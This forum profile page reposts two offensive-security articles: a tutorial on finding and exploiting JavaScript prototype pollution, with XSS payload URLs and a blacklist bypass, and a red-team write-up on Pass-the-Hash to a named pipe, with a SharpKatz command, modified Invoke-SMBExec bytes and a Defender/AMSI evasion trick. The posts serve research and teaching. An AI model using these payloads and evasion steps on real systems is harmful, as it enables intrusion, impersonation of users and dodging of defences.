-
Posts
18723 -
Joined
-
Last visited
-
Days Won
704
Everything posted by Nytro
-
Am trimis un email catre castigatorii pentru cele mai bune write-up-uri. Daca mi-ati trimis writeups si nu ati primit un email, sa imi ziceti va rog. Inca astept email de la 2 castigatori CTF (primele 10 locuri) pentru oferirea premiilor.
-
JavaScript prototype pollution: practice of finding and exploitation Nikita Stupin Follow Apr 15 · 16 min read If you follow the reports of researchers who participate in bug bounty programs, you probably know about the category of JavaScript prototype pollution vulnerabilities. And if you do not follow and see this phrase for the first time, then I suggest you to close this gap because this vulnerability can lead to a complete compromise of the server and the client. Chances are that at least one of products you use or develop runs on JavaScript: the client part of the web application, desktop (Electron), server (NodeJS) or mobile application. This article will help you dive into the topic of prototype pollution. In the sections JavaScript features and What is prototype pollution? you will learn how JavaScript objects and prototypes work and how the specifics of their functioning can lead to vulnerabilities. In the sections Client-side prototype pollution and Server-side prototype pollution you will learn how to search for and exploit this vulnerability in real-world cases. Finally, you will learn how to protect your applications and why the most common method of protection can be easily circumvented. Before proceeding to the next sections, I suggest that you open the developer tools and try out the examples given with your own hands in the course of the article, in order to gain some practical experience and a deeper understanding of the material. JavaScript features The prototype pollution vulnerability is unique to the JavaScript language. Therefore, before dealing with the vulnerability itself, we need to understand the features of JavaScript that lead to it. Object How do objects exist in JavaScript? Open the developer tools and create a simple object containing two properties. We can access the properties of an object in two main ways. What happens if we try to access a nonexistent property? We got the value undefined, which means the property is missing. So far so good. In JavaScript, functions can be treated like normal variables (for more information, refer to first-class functions article), so object methods are defined as properties, and in fact they are. Add the foo() method to the o object and call it. Let’s call toString() method. Suddenly, the toString() method is executed, even though the o object doesn't have a toString() method! We can check this using the Object.getOwnPropertyNames() function. Indeed, there are only three properties: name, surname, and foo. Where did the toString() method come from? Object prototype JavaScript is minimalistic in terms of the number of entities. Almost any entity is an object that includes arrays, functions, and even class definition! We’ll stop here more detailed in the classes. In JavaScript, there are no classes in the common understanding of the most programmers. If you have not previously encountered classes in JavaScript but have experience using classes in other languages, then the first thing I suggest is to forget everything you know about classes. So, imagine that you have two entities: an object and a primitive (number, string, null, etc.). How can you use them to implement such a convenient feature of the classes as inheritance? You can select a special property that each object will have. It will contain a reference to the parent. Let's call this property [[Prototype]]. Okay, what if we don't want to inherit all the properties and methods from the parent? Let's select a special property from the parent from which the properties and methods will be inherited and call it prototype! There are several ways to find out the prototype of an object, for example, by using the Object.getPrototypeOf() method. We returned nothing more than Object.prototype, which is the prototype of almost all objects in JavaScript. Making sure that this is an Object.prototype is easy enough. When you access an object property via o.name or o['name'] actually does the following: The JavaScript engine searches for the name property in the o object. If the property is present, it is returned. Otherwise, the prototype of the o object is taken and the property is searched for in it! So it turns out that the toString() method is actually defined in Object.prototype, but since when creating an object, its prototype is implicitly assigned to Object.prototype, we can call the toString() method for almost everything. The parent, in turn, can also have a prototype, the parent of the parent, too, and so on. Such a sequence of prototypes from an object to null is called a prototype chain or prototype chain. In this regard, a small remark: when accessing a property, the property is searched for in the entire chain of prototypes. In the case of object o, the prototype chain is relatively short, with only one prototype. The same cannot be said about the window object. By the way, the word “prototype” in JavaScript can refer to at least three different things, depending on the context: Internal property [[Prototype]]. It is called internal because it lives in the "guts" of the JavaScript engine, we only get access to it through the special functions __proto__, Object.getPrototypeOf(), and others. The prototype property: Object.prototype, Function.prototype, and others. The __proto__ property. A rare and not quite correct use, because technically __proto__ is a getter / setter and only gets a reference to the prototype of the object and returns it. What is prototype pollution? The term prototype pollution refers to the situation when the prototype property of fundamental objects is changed. After executing this code, almost any object will have an age property with the value 42. The exception is two cases: If the age property is defined on the object, it will override the same property of the prototype. If the object is not inherited from Object.prototype. What can prototype pollution look like in the code? Consider the program pp.js. If an attacker controls the parameters a and v, they can set a to '__proto__ ' and v to an arbitrary string value, thus adding the test property to Object.prototype. Congratulations, we just found prototype pollution! “But who in their right mind would use such constructions?” — you may ask. Indeed, this example is rarely found in real life. However, there are seemingly harmless constructs that, under certain circumstances, allow us to add or change the properties of Object.prototype. Specific examples will be discussed in the following sections. Client-side prototype pollution The client prototype pollution began to be actively explored in mid-2020. At the moment, the vector is well researched when the payload is in the request parameters (after ?) or in a fragment (after #). This vulnerability is most often escalated to Reflected XSS. It is quite possible that the payload can be not only passed in the request parameters or fragment, but also saved on the server. Thus, the payload will work every time and for every user who visits a certain page, regardless of whether he visited a malicious link. Finding prototype pollution Let’s try to find prototype pollution on a vulnerable site https://ctf.nikitastupin.com/pp/known.html. The easiest way to do this is to install the PPScan extension for Google Chrome and visit the vulnerable page. We can see that the counter on the extension equals two now. This means that one of the payloads worked well. If we click on the extension icon, we will see payloads demonstrating the presence of a vulnerability. PPScan extension in action Let’s try one of the payloads with our hands: click on the link https://ctf.nikitastupin.com/pp/known.html?__proto__[polluted]=test, open the developer tools and check the result. Great, the payload worked! Unfortunately, the client prototype pollution itself does not pose a serious danger. You can at best use it to make a client DoS, which is treated by updating the page. Impact and gadgets On the client-side, the escalation to XSS is the most interesting. The JavaScript code that can be used to escalate prototype pollution to other vulnerability is called a gadget. Generally we have either a well-known gadget, or we have to search for gadgets on our own. Searching for new gadgets takes quite much time. Using existing gadgets First of all, it makes sense to check the existing gadgets in the BlackFan/client-side-prototype-pollution repository or in the Cross-site scripting (XSS) cheat sheet. There are at least two ways to check known gadgets: Using the Wappalyzer plugin. Using a script fingerprint.js. Let’s use the second method, but first we’ll understand how it works. Usually, the gadget will define specific variables in the global context, by the presence of which you can determine the presence of the gadget. For example, if you use Twitter Ads, you will probably use the Twitter Universal Website Tag, which will define the twq variable. The fingerprint.js mostly checks for specific variables in the global context. I borrowed the gadgets and their corresponding variables from BlackFan/client-side-prototype-pollution. Copy the script and execute it in the context of the vulnerable page. fingerprint.js shows that the page has a Twitter Universal Website Tag gadget It looks like the page has a Twitter Universal Website Tag gadget. We find a description of the gadget in BlackFan/client-side-prototype-pollution, most of all we are interested in the PoC section with a ready-made payload. Trying out a payload on a vulnerable site https://ctf.nikitastupin.com/pp/known.html?__proto__[hif][]=javascript:alert(document.domain). Successful operation of prototype pollution with the help of a well-known gadget After a couple of seconds, the coveted alert () appears, great! Finding new gadgets What should we do when there is no gadgets? Let’s go to https://ctf.nikitastupin.com/pp/unknown.html and make sure it's vulnerable to prototype pollution https://ctf.nikitastupin.com/pp/unknown.html?__proto__[polluted]=31337. However, this time the fingerprint.js didn’t find the gadgets. fingerprint.js didn’t find the gadgets Despite the fact that Wappalyzer reports the presence of jQuery, this is a false positive due to the jquery-deparam library that is used on the site https://ctf.nikitastupin.com/pp/unknown.html. False positive response from Wappalyzer plugin There are several approaches to finding new gadgets: filedescriptor/untrusted-types. At the time of writing, there are two versions of the plugin: main and old. We will use old because it is simpler than main. This plugin was originally developed for DOM XSS search, details can be found in the video Finding DOMXSS with DevTools | Untrusted Types Chrome Extension. pollute.js. How this tool works, as well as what vulnerabilities it allowed you to find, can be read in the article Prototype pollution — and bypassing client-side HTML sanitizers. Search with your hands, using the debugger. Let’s use the first approach. Install the plugin, open the console and go to https://ctf.nikitastupin.com/pp/unknown.html. By and large, the filedescriptor/untrusted-types extension simply logs all API calls that can lead to DOM XSS. We use the filedescriptor/untrusted-types plugin to search for new gadgets In our situation, there are only two cases. Now we need to check each case manually and see if we can use the prototype pollution to change any variable to achieve XSS. The first is eval with the this argument, which we skip. In the second case, we see that the src attribute of some HTML element is assigned the value https://ctf.nikitastupin.com/pp/hello.js. Go to the stack trace, go to loadContent @ unknown.html:17 and we see the following code. This code loads the s script. The script source is set by the scriptSource variable. The scriptSource variable, in turn, takes the already existing window.scriptSource value, or the default value "https://ctf.nikitastupin.com/pp/hello.js". This is where our gadget lies. With prototype pollution, we can define an arbitrary property on Object.prototype, which of course is a window prototype. We try to add the value Object.prototype.scriptSource = , to do this, go to https://ctf.nikitastupin.com/pp/unknown.html?__proto__[scriptSource]=https://ctf.nikitastupin.com/pp/alert.js. Successful operation of prototype pollution with a new gadget And here it is our alert()! We just found a new gadget for a specific site. You may say that this is an artificial example and you will not find this in the real world. However, in practice, such cases occur because the construction var v = v || "default" is quite common in JavaScript. For example, the gadget for the leizongmin/js-xss library, which is described in the "XSS" section of the article Prototype pollution - and bypassing client-side HTML sanitizers, just uses this construction. Edge case In addition to the usual vectors __proto__[polluted]=1337 and __proto__.polluted=31337, once I came across a strange case. It was on a one big site. Unfortunately, the report has not been disclosed yet, so no names. My private search plugin prototype pollution reported a vulnerability, but it was not possible to reproduce it using normal vectors. I sat down to sort out what was going on. The vulnerability has already been fixed, but we have a duplicate. Navigate to https://ctf.nikitastupin.com/pp/bypass.html?__proto__[polluted]=1337&__proto__.polluted=31337. Open the developer tools and check whether the vulnerability has worked. It looks like the vulnerability didn’t work, but let’s look a little deeper into the source code. The already familiar function deparam is called with the argument location.search. Let's look at the function definition. We immediately understand that we are dealing with minified code, so it will be more difficult. Next, we notice the familiar lines "__proto__", "constructor" and "prototype". Most likely, this is a black list of parameters, which means that the developers have already tried to fix the vulnerability. But why did the plugin find a vulnerability? We understand further. Further understanding of minified source code in statics is extremely difficult, so we put a breakpoint on the line h = h[a] = u < p ? h[a] || (l[u + 1] && isNaN(l[u + 1]) ? {} : []) : o. Set the breakpoint on the line shown below. Why exactly on it? The fact is that the plugin noticed prototype pollution on it, that's why to start with it seems to be most logically. Reload the page and get into the debugger. Looking for a fix bypass using the debugger Now we see a construction that can lead to a vulnerability: h = {}; a = "__PROTO__"; h = h[a] = .... Why the vulnerability doesn’t work? The fact is that __PROTO__ and __proto__ are different identifiers. The next idea was to figure out exactly how the blacklist is applied and try to find a workaround. After a few hours of working with the debugger, I understood the internal logic of the function: toUpperCase() is applied to words from the blacklist, and tried to bypass this operation, but the attempts were unsuccessful. I decided to look at the bigger picture to deal with the code that I haven’t seen yet. Among anything that could help with the crawl, only one line remained. At first glance, this string handles arrays (for example, a[0]=31&a[1]=337 is parsed to a = [31, 337]). If you look closer then ordinary objects (for example, b=42) are also processed by this line. Despite the fact that this code does not lead to prototype pollution directly, it does not use a blacklist, which means that this is a hope for circumvention! I remember a case where prototype pollution was fixed in a similar way (blacklist __proto__, constructor, prototype), and another researcher bypassed this and was able to change the properties of the toString type, eventually DoS. My first idea was to change the includes() method to return false. But then I realized that I can only add a string, and when includes is a string and we make a call () on it, an exception occurs ( includes is not a function) and the script does not work further. After that, I remembered that arrays in JavaScript are ordinary objects, and therefore array elements can be accessed through square brackets. Following this, I got the idea that you can first put __proto__ in an array element, and then access this element through the index, thus bypassing the blacklist. Setting a breakpoint on the line aaa.utils.isArray(i[a]) .... Trying out the payload https://ctf.nikitastupin.com/pp/bypass.html?v=1337, get into the debugger, click "Step over next function call". As a result, i[a] = o is executed, we check the value of i. What happens if you specify __proto__ instead of v? Trying out payload https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337, this time i[a] = [i[a], o] is executed and we check the value of i. Whoa! The result is a very fancy object, but the most important thing is that this object will be used when parsing the following parameters! How will this help us, you may ask? The answer is literally one step away. Remove the previous breakpoint and add a breakpoint on the line h = h[a], on a potentially vulnerable construct. We will also add another parameter to the payload https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&o[k]=leet. We get into the debugger and check the value of h[0]. Suddenly, we have access to Object.prototype! To understand why this happened, let's remember that (1) array elements in JavaScript can be accessed by using square brackets, and the index can be a string, (2) if the property is not found on the object, the search continues in the prototype chain. So it turns out that when we execute h["0"], the property "0", which is not present on the object h, is taken from the prototype h.__proto__ and its value is Object.prototype. So if we change o to 0, then we can add a property to Object.prototype? Disable breakpoints, try https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&0[k]=leet and check the result. I think you’ve already figured it out for yourself. Server-side prototype pollution It all started with the Olivier Arteau — Prototype pollution attacks in NodeJS applications , prototype-pollution-nsec18. Oliver discovered the prototype pollution vulnerability in several npm packages, including one of the most popular lodash packages ( CVE-2018–3721). The lodash package is used in many applications and packages of the JavaScript ecosystem. In particular, it is used in the popular Ghost CMS, which, because of this, was vulnerable to remote code execution, no authentication was required to exploit the vulnerability. Finding prototype pollution Without source code, this class of vulnerabilities is quite difficult to detect and to exploit. The exception is when you have a CVE and a ready-made payload. But let’s say we have the source code. What places in the code should you pay attention to? Where is this vulnerability most common? What language constructs are prone to the vulnerability? Most often, prototype pollution is found in the following constructs / operations: recursive merging of objects (for example, jonschlinkert/merge-deep) cloning an object (for example, jonschlinkert/clone-deep) converting GET parameters to a JavaScript object (for example, AceMetrix/jquery-deparam) convert .toml or .ini configuration files to a JavaScript object (for example, npm/ini) We can trace a pattern: those operations that take a complex data structure (for example, .toml) as input and convert it into a JavaScript object are vulnerable. Dynamic analysis Let’s start with dynamic, as it is easier to understand and apply. The algorithm is quite simple and is already implemented in find-vuln: Download the npm package. Call each function in the package, with a pagelode as an argument. Check whether the vulnerability has worked. The only drawback of find-vuln.js is that it doesn’t check constructor.prototype and therefore misses some of the vulnerabilities, but this gap is easy enough to fix. Using a similar algorithm, I discovered CVE-2020–28460 and a vulnerability in the merge-deep package. I reported both vulnerabilities via Snyk. With the first one, everything went smoothly, but with the second one, a funny situation came out. After sending the report, the maintainer did not get in touch for a long time, and as a result, GitHub Security Lab found the same vulnerability, managed to reach the maintainer earlier and registered it ( GHSL-2020–160). In general, making small changes to find-vuln.js even now you can find vulnerabilities in npm packages. Static analysis This type of vulnerability is difficult to find with a simple grep, but it can be very successfully searched with CodeQL. Existing CodeQL queries actually find prototype pollution in real packages, although at the moment not all variants of this vulnerability are covered. Impact Let’s say we found a library that is vulnerable to prototype pollution. How much damage can this vulnerability cause to the system? In a NodeJS environment, this is almost always a guaranteed DoS, because you can overwrite a basic function (for example, Object.prototype.toString()) and all calls to this function will return an exception. Let's look at the example of the popular expressjs/express server. Install the dependencies and start the server. And in another tab of the terminal, we send the payload. As you can see, after sending the payload, the server loses the ability to process even simple GET requests, because express internally uses Object.keys(), which we successfully turned from a function to a number. In a web application, often you can spin up to remote code execution. Normally, this is done with the template engines. The details of the operation can be found in the articles below. AST Injection, Prototype Pollution to RCE Real-world JS — 1 Prototype pollution attack in NodeJS application Mitigation There are different ways to fix this vulnerability, let’s start with the most popular option. Field black list Most often, developers simply add __proto__ to the blacklist and do not copy this field. Even experienced developers do this (for example, the npm/ini case). This fix is easily circumvented by using constructor.prototype instead of __proto__. On the one hand, this method is easy to implement and often enough to fix the vulnerability, on the other hand, it does not eliminate the problem because there is still the possibility of changing Object.prototype and other prototypes. Object.create(null) You can use an object without a prototype, then modifying the prototype will not be possible. The disadvantage is that this object can break some of the functionality further. For example, someone might want to call toString() on this object and get o.toString is not a function in response. Object.freeze() Another option is to freeze Object.prototype using the Object.freeze() function. After that, the Object. prototype cannot be modified. However, there are a few pitfalls: Dependencies that modify Object.prototype may break. In general, you will have to freeze Array.prototype and other objects. JSON schema You can validate the input data against a predefined JSON schema and discard all other parameters. For example, you can do this using the avj library with the additionalProperties = false parameter. Conclusion JavaScript prototype pollution is an extremely dangerous vulnerability, it needs to be studied more both from the point of view of finding new vectors, and from the point of view of finding new gadgets (exploitation). On the client, the vector is not developed at all when the payload is saved on the server, so there is room for further research. In addition, JavaScript has many other interesting features that can be used for new vulnerabilities, such as DEF CON Safe Mode — Feng Xiao — Discovering Hidden Properties to Attack Node js Ecosystem. Surely there are other subtleties of JavaScript that can lead to equally serious or more serious consequences for the security of applications. Acknowledgments First of all, I would like to thank Olivier, Michał Bentkowski, Sergey Bobrov, s1r1us, po6ix, William Bowling for their articles, reports and programs on the topic of prototype pollution, which they shared with everyone. Without them, the study would hardly have begun Sergey Bobrov and Mikhail Egorov for collaboration in the search of vulnerabilities. For proofreading, feedback and other assistance on the article, thank you to Alyona Manannikova, Anatoly Katyushin, Alexander Barabanov, Denis Makrushin and Dmitry Zheregelya. References BlackFan/client-side-prototype-pollution / Cross-site scripting (XSS) cheat sheet Prototype pollution — and bypassing client-side HTML sanitizers PPScan AST Injection, Prototype Pollution to RCE Real-world JS — 1 Prototype pollution attack in NodeJS application Examples: Reflected XSS on www.hackerone.com via Wistia embed code [toolbox.teslamotors.com] HTML Injection via Prototype Pollution / Potential XSS Discord Desktop app RCE Misc: DEF CON Safe Mode — Feng Xiao — Discovering Hidden Properties to Attack Node js Ecosystem InfoSec Write-ups A collection of write-ups from the best hackers in the… WRITTEN BY Nikita Stupin Follow Advanced Software Technology Laboratory, Huawei https://twitter.com/_nikitastupin InfoSec Write-ups Follow A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew Sursa: https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
-
Named Pipe Pass-the-Hash April 19, 2021 This post will cover a little project I did last week and is about Named pipe Impersonation in combination with Pass-the-Hash (PTH) to execute binaries as another user. Both techniques used are not new and often used, the only thing I did here is combination and modification of existing tools. The current public tools all use PTH for network authentication only. The difference to this “new” technique is therefore, that you can also spawn a new shell or C2-Stager as the PTH user for local actions and network authentication. Introduction - why another PTH tool? I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low privileged user account and needed a shell for that user on the current compromised system - but that was not possible with the current public tools. Imagine two more facts for a situation like that - the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation. Last week, @n00py1 tweeted exactly the question I had in mind in those projects: So I thought: Other people in the field obviously have the same limitations in existing tools. My personal goals for a tool/technique were: Fully featured shell or C2-connection as the victim user-account It must to able to also Impersonate low privileged accounts - depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others The tool has to be used on a fully compromised system without another for example linux box under control in the network, so that it can be used as C2-module for example The Tweet above therefore inspired me, to again search for existing tools/techniques. There are plenty of tools for network authentication via Pass-the-Hash. Most of them have the primary goal of code execution on remote systems - which needs a privileged users Hash. Some of those are: SMB (CrackMapExec, smbexec.py, Invoke-SMBExec.ps1) WMI (Invoke-WMIExec.ps1, wmiexec.py) DCOM (dcomexec.py) WinRM (evil-winrm) If we want to have access to an administrative account and a shell for that account, we can easily use the WMI, DCOM and WinRM PTH-tools, as commands are executed in the users context. The python tools could be executed over a SOCKS tunnel via C2 for example, the Powershell scripts work out-of-the-box locally. SMB PTH tools execute commands as nt-authority\system, so user impersonation is not possible here. One of my personal goals was not fulfilled - the impersonation of low privileged accounts. So I had to search for more possibilities. The best results for local PTH actions are in my opinion indeed Mimikatz’s sekurlsa::pth and Rubeus’s PTT features. I tested them again to start software via PTH or inject a Kerberos ticket into existing processes and realized, that they only provide network authentication for the PTH-user. Network authentication Only? Ok, I have to admit, in the most cases network authentication is enough. You can read/write the Active Directory via LDAP, access network shares via SMB, execute code on remote systems with a privileged user (SMB, WMI, DCOM, WinRM) and so on. But still - the edge case to start an application as the other user via Pass-the-Hash is not possible. I thought to myself, that it might be possible to modify one of those tools to archieve the specific goal of an interactive shell. To do that, I had to first dig into the code to understand it. Modifying Rubeus was no opion for me, because PTT uses a Kerberos ticket, which is as far as I know only used for network authentication. That won’t help us authenticating on the localhost for a shell. So I took a look at the Mimikatz feature in the next step. Mimikatz’s sekurlsa::pth feature This part will only give some background information to the sekurlsa::pth Mimikatz module. If you already know about it feel free to skip. Searching for sekurlsa::pth internals resulted in two good blog posts for me, which I recommend reading for a deeper look into the topic, as I will only explain the high-level process: https://www.praetorian.com/blog/inside-mimikatz-part1/ https://www.praetorian.com/blog/inside-mimikatz-part2/ A really short high-level overview of the process is as follows: MSV1_0 and Kerberos are Windows two Authentication providers, which handle authentication using provided credential material The LSASS process on a Windows Operating System contains a structure with MSV1_0 and Kerberos credential material Mimikatz sekurlsa::pth creates a new process with a dummy password for the PTH user. The process is first created in the SUSPENDED state Afterwards it creates a new MSV and Kerberos structure with the user provided NTLM hash and overwrites the original structure for the given user The newly created process is RESUMED, so that the specified binary like for example cmd.exe is executed This part is copy & paste from the part II blog: Overwriting these structures does not change the security information or user information for the local user account. The credentials stored in LSASS are associated with the logon session used for network authentication and not for identifying the local user account associated with a process. Those of you, who read my other blog posts know, that C/C++ is not my favorite language. Therefore I decided to work with @b4rtik’s SharpKatz code, which is a C# port of the in my opinion most important and most used Mimikatz functions. Normally, I don’t like blog posts explaining a topic with code. Don’t ask me why, but this time I did it myself here. The PTH module first creates a structure for the credential material called data from the class SEKURLSA_PTH_DATA: The NtlmHash of this new structure is filled with our given Hash: if (!string.IsNullOrEmpty(rc4)) ntlmHashbytes = Utility.StringToByteArray(rc4); if (!string.IsNullOrEmpty(ntlmHash)) ntlmHashbytes = Utility.StringToByteArray(ntlmHash); if (ntlmHashbytes.Length != Msv1.LM_NTLM_HASH_LENGTH) throw new System.ArgumentException(); data.NtlmHash = ntlmHashbytes; A new process in the SUSPENDED state is opened. Note, that our PTH username is chosen with an empty password: PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); if(CreateProcessWithLogonW(user, "", domain, @"C:\Windows\System32\", binary, arguments, CreationFlags.CREATE_SUSPENDED, ref pi)) In the next step, the process is opened and the LogonID of the new process is copied into our credential material object, which is related to our PTH username. Afterwards, the function Pth_luid is called. This function first searches for and afterwards overwrites the MSV1.0 and Kerberos credential material with our newly created structure: If that resulted in success, the process is resumed via NtResumeProcess. Named Pipe Impersonation Thinking about alternative ways for PTH user Impersonation I asked @EthicalChaos about my approach/ideas and the use-case. Brainstorming with you is always a pleasure, thanks for that! Some ideas for the use-case were: NTLM challenge response locally via InitializeSecurityContext / AcceptSecurityContext Impersonation via process token Impersonation via named pipe identity Impersonation via RPC Identity I excluded the first one, because I simply had no idea about that and never worked with it before. Impersonation via process token or RPC Identity required an existing process for the target user to steal the token from. A process for the target user doesn’t exist in my szenario, so only Named Pipe Impersonation was left. And I thought cool, I already worked with that to build a script to get a SYSTEM shell - NamedPipeSystem.ps1. So I’m not completely lost in the topic and know what it is about. For everyone out there, who doesn’t know about Named Pipe Impersonation I can recommend the following blog post by @decoder_it: https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/ Again, I will give a short high-level overview for it. Named Pipes are ment to be used for asynchronous or synchronous communication between processes. It’s possible to send or receive data via Named Pipes locally or over the network. Named Pipes on a Windows Operating System are accessible over the IPC$ network share. One Windows API call, namely ImpersonateNamedPipeClient() allows the server to impersonate any client connecting to it. The only thing you need for that is the SeImpersonatePrivilege privilege. Local administrators and many service-accounts have this privilege by default. So opening up a Named Pipe with this privileges enables us to Impersonate any user connecting to that Pipe via ImpersonateNamedPipeClient() and open a new process with the token of that user-account. My first thought about Named Pipe Impersonation in combination with PTH was, that I could spawn a new cmd.exe process via Mimikatz or SharpKatz Pass-the-Hash and connect to the Named Pipe over IPC$ in the new process. If the network credentials are used for that, we would be able to fulfill all our goals for a new tool. So I opened up a new Powershell process via PTH and SharpKatz with the following command: .\SharpKatz.exe --Command pth --User testing --Domain iPad --NtlmHash 7C53CFA5EA7D0F9B3B968AA0FB51A3F5 --Binary "\WindowsPowerShell\v1.0\powershell.exe" What happens in the background? That is explained above. To test, that we are really using the credentials for the user testing we can connect to a linux boxes SMBServer: smbserver.py -ip 192.168.126.131 -smb2support testshare /mnt/share After opening up the server we can connect to it via simply echoing into the share: And voila, the authentication as testing came in, so this definitely works: @decoder_it’s wrote a Powershell script - pipeserverimpersonate.ps1 - which let’s us easily open up a Named Pipe Server for user Impersonation and to open cmd.exe afterwards with the token of the connecting user. The next step for me was to test, if connections from this new process connect to the Named Pipe Server with the network credentials. It turned out, that this unfortunately is not the case: I tried to access the Pipe via 127.0.0.1, Hostname, External IP, but the same result in every case: I also tried using a NamedPipeClient via Powershell - maybe this would result in network authentication with the user testing - still no success: At this point I had no clue on how I could trigger network authentication to localhost for the Named Pipe access. So I gave up on Mimikatz and SharpKatz - but still learned something by doing that. And maybe some of you also learned something in this section. This was a dead end for me. But what happens exactly when network authentication is triggered? To check that, I monitored the network interface for SMB access from one Windows System to another one: The TCP/IP Three-way-handshake is done (SYN,SYN/ACK,ACK) Two Negotiate Protocol Requests and Responses Session Setup Request, NTLMSSP_NEGOTIATE + NTLMSSP_AUTH Tree Connect Request to IPC$ Create Request File testpipe During my tool research I took a look at @kevin_robertson’s Invoke-SMBExec.ps1 code and found, that this script contains exactly the same packets and sends them manually. So by modifying this script, it could be possible to skip the Windows default behaviour and just send exactly those packets manually. This would simulate a remote system authenticating to our Pipe with the user testing. I went through the SMB documentation for some hours, but that did not help me much to be honest. But than I had the idea to just monitor the default Invoke-SMBExec.ps1 traffic for the testing user. Here is the result: Comparing those two packet captures results in only one very small difference. Invoke-SMBExec.ps1 tries to access the Named Pipe svcctl. We can easily change that in line 1562 and 2248 for the CreateRequest and CreateAndXRequest stage, by using different hex values for another Pipe name. So if we only change those bytes to the following, a CreateRequest request is send to our attacker controlled Named Pipe: $SMB_named_pipe_bytes = 0x74,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x70,0x00,0x69,0x00,0x70,0x00,0x65,0x00 # \testpipe The result is an local authentication to the Named Pipe as the user testing: To get rid of the error message and the resulting timeout we have to do some further changes to the Invoke-SMBExec code. I therefore modified the script, so that after the CreateRequest a CloseRequest, TreeDisconnect and Logoff packet is send instead of the default code execution stuff for Service creation and so on. I also removed all Inveigh Session stuff, parameters and so on. But there still was one more thing to fix. I got the following error from cmd.exe when impersonating the user testing via network authentication: This error didn’t pop up, when a cmd.exe was opened with the password, accessing the Pipe afterwards. Googling this error results in many many crap answers ranging from corrupted filesystem, try to repair it to install DirectX 11 or Disable Antivirus. I decided to ask the community via Twitter and got a fast response from @tiraniddo, that the error code is likely due to not being able to open the Window Station. A solution for that is changing the WinSta/Desktop DACL to grant everyone access. I would have never figured this out, so thank you for that! @decoder_it also send a link to RoguePotato, especially the code for setting correct WinSta/Desktop permissions is included there. Modifying RoguePotato & building one script as PoC Taking a look at the Desktop.cpp code from RoguePotato I decided pretty fast, that porting this code to Powershell or C# is no good idea for me as I would need way too much time for that. So my idea was, to modify the RoguePotato code to get a PipeServer which sets correct permissions for WinSta/Desktop. Doing this was straight forward as I mostly had to remove code. So I removed the RogueOxidResolver components, the IStorageTrigger and so on. The result is the PipeServerImpersonate code. Testing the server in combination with our modified Invoke-SMBExec script resulted in no shell at first. The CreateProcessAsUserW function did not open up the desired binary even though the token had SE_ASSIGN_PRIMARY_NAME privileges. I ended up using CreateProcessWithTokenW with CREATE_NEW_CONSOLE as dwCreationFlags, which worked perfectly fine. Opening up the Named Pipe via modified RoguePotato and connecting to it via Invoke-NamedPipePTH.ps1 resulted in successfull Pass-the-Hash to a Named Pipe for Impersonation and binary execution with the new token: Still - this is not a perfect solution. Dropping PipeServerImpersonate to disk and executing the script in another session is one option, but a single script doing everything is much better in my opinion. Therefore I build a single script, which leverages Invoke-ReflectivePEInjection.ps1 to execute PipeServerImpersonate from memory. This is done in the background via Start-Job, so that Invoke-NamedPipePTH can connect to the Pipe afterwards. It’s possible to specify a custom Pipe Name and binary for execution: This enables us to use it from a C2-Server as module. You could also specify a C2-Stager as binary, so that you will get a new agent with the credentials of the PTH user. Further ideas & improvements I see my code still as PoC, because it is far away from being OPSEC safe and I didn’t test that much possible use-cases. Using Syscalls for PipeServerImpersonate and PE-Injection instead of Windows API functions would further improve this for example. For those of you looking for a C# solution: Sharp-SMBExec is a C# port of Invoke-SMBExec which can be modified the same way I did here to get a C# version for the PTH to the Named Pipe part. However, the PipeServerImpersonate part should also be ported, which in my opinion is more work todo. The whole project gave me the idea, that it would be really cool to also add an option to impacket’s ntlmrelayx.py to relay connections to a Named Pipe. Imagine you compromised a single host in a customer environment and this single host didn’t gave any valuable credentials but has SMB Signing disabled. Modifying PipeServerImpersonate, so that the Named Pipe is not closed but re-opened again after executing a binary would make it possible to get a C2-Stager for every single incoming NetNTLMV2 connection. This means raining shells. The connections only need to be relayed to \\targetserver\IPC$\pipename to get a shell or C2-connection. Conclusion This is the first time, that I created somehow a new technique. At least I didn’t see anyone else using a combination of PTH and Named Pipe Impersonation with the same goal. For me, this was a pretty exciting experience and I learned a lot again. I hope, that you also learned something from that or at least can use the resulting tool in some engagements whenever you are stuck in a situation described above. The script/tool is released with this post, and feedback is as always very welcome! https://github.com/S3cur3Th1sSh1t/NamedPipePTH 20.04.2021: Update I’m pretty sure, that I before publication of the tool tested the content of Start-Job Scriptblocks for AMSI scans/blocks. And it was not scanned neither blocked. After the publication, Microsoft obviously decided to activate this feature, because the standalone script didn’t work anymore with Defender enabled even after patching AMSI.dll in memory for the process: Therefore, I decided to switch from the native Start-Job function to the Start-ThreadJob function, which again bypasses Defender because its executed in the same process: If this description is true, Start-Job should have scanned and blocked scripts before because it’s another process. But here we stay in the same process, therefore a bypass works: Links & Resources Crackmapexec - https://github.com/byt3bl33d3r/CrackMapExec Impacket - https://github.com/SecureAuthCorp/impacket/ Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash/ evil-winrm - https://github.com/Hackplayers/evil-winrm mimikatz - https://github.com/gentilkiwi/mimikatz Rubeus - https://github.com/GhostPack/Rubeus Inside Mimikatz part I - https://www.praetorian.com/blog/inside-mimikatz-part1/ Inside Mimikatz part II - https://www.praetorian.com/blog/inside-mimikatz-part2/ SharpKatz - https://github.com/b4rtik/SharpKatz/ NamedPipeSystem - https://github.com/S3cur3Th1sSh1t/Get-System-Techniques/blob/master/NamedPipe/NamedPipeSystem.ps1 Windows Named Pipes Impersonation - https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/ PipeServerImpersonate.ps1 - https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1 SMB Documentation - 